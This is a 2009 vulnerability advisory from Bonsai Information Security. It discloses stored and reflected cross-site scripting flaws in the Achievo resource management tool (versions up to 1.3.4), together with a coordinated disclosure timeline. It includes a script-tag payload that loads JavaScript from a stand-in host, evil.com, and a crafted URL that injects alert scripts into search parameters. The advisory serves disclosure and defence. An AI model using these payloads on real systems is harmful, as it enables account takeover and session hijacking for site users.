Achievo Cross Site Scripting

` Bonsai Information Security - Advisory  
http://www.bonsai-sec.com/research/  
  
Multiple XSS in Achievo  
  
1. *Advisory Information*  
  
Title: Multiple XSS in Achievo  
Advisory ID: BONSAI-2009-0101  
Advisory URL: http://www.bonsai-sec.com/research/vulnerabilities/achievo-multiple-xss-0101.txt  
Date published: 2009-10-13  
Vendors contacted: Achievo  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: Multiple Cross Site Scripting (XSS)  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
CVE Name: CVE-2009-2733  
  
  
3. *Software Description*  
  
Achievo is a flexible web-based resource management tool for business  
environments. Achievo's resource management capabilities will enable  
organizations to support their business processes in a simple, but effective  
manner [0].  
  
  
4. *Vulnerability Description*  
  
Cross-Site Scripting attacks are a type of injection problem, in which  
malicious scripts are injected into the otherwise benign and trusted web sites.  
Cross-site scripting (XSS) attacks occur when an attacker uses a web  
application to send malicious code, generally in the form of a browser side  
script, to a different end user. Flaws that allow these attacks to succeed are  
quite widespread and occur anywhere a web application uses input from a user  
in the output it generates without validating or encoding it.  
  
For additional information, please read [1].  
  
  
5. *Vulnerable packages*  
  
Version <= 1.3.4  
  
  
6. *Non-vulnerable packages*  
  
Achievo developers informed us that all users should upgrade to the latest  
version of Achievo, which fixes this vulnerability. More information to be  
found here:  
http://www.achievo.org/  
  
  
7. *Credits*  
  
This vulnerability was discovered by Ryan Dewhurst ( ryan -at- bonsai-sec.com ).  
  
  
8. *Technical Description*  
  
8.1 A Persistent Cross Site Scripting vulnerability was found in the 'tittle'  
variable within the scheduler module. This is because the application does not  
properly sanitise the users input. The vulnerability can be triggered by a user  
submitting the following data within the scheduler title:  
  
<SCRIPT SRC=//evil.com/xss.js></SCRIPT>  
  
Which will include the xss.js javascript file within the schedule. A javascript  
that exploits this issue and creates a new administrator user in the system can  
be found in Bonsai's blog [2].  
  
8.2 A Reflected Cross Site Scripting vulnerability was found in the  
atksearch[contractnumber], atksearch_AE_customer[customer] and  
atksearchmode[contracttype] variables within the 'Organisation Contracts'  
administration page. This is because the application does not properly sanitise  
the users input. The vulnerability can be triggered by clicking on the  
following URL:  
  
http://www.example.com/dispatch.php?atkprevlevel=0&atkescape=&atknodetype=organization.contracts&atkaction=admin&atksmartsearch=clear&atkstartat=0&atksearch[contractnumber]="><script>alert('xss');</script>&atksearchmode[contractnumber]=substring&atksearch[contractname]="><script>alert('xss');</script>&atksearchmode[contractname]=substring&atksearch_AE_contracttype[contracttype][=&atksearchmode[contracttype]=exact&atksearch_AE_customer[customer]="><script>alert('xss');</script>&atksearchmode[customer]=substring  
  
9. *Report Timeline*  
  
- 2009-07-09:  
Vulnerabilities were identified.  
  
- 2009-08-08:  
Vendor contacted.  
  
- 2009-08-12:  
Vendor confirmed vulnerabilities.  
  
- 2009-08-14:  
Vendor sets possible release date of fixed version to Monday 12 Oct.  
  
- 2009-10-12:  
Vendor released fixed version.  
  
- 2009-10-13:  
The advisory BONSAI-2009-0101 is published.  
  
  
10. *References*  
  
[0] http://www.achievo.org/  
[1] http://www.owasp.org/index.php/Cross_site_scripting  
[2] http://www.bonsai-sec.com/blog/index.php/cross-site-scripting-payloads/  
  
11. *About Bonsai*  
  
Bonsai is a company involved in providing professional computer  
information security services.  
Currently a sound growth company, since its foundation in early 2009  
in Buenos Aires, Argentina,  
we are fully committed to quality service, and focused on our  
customers' real needs.  
  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2009 Bonsai  
Information Security, and may be  
distributed freely provided that no fee is charged for this  
distribution and proper credit is  
given.  
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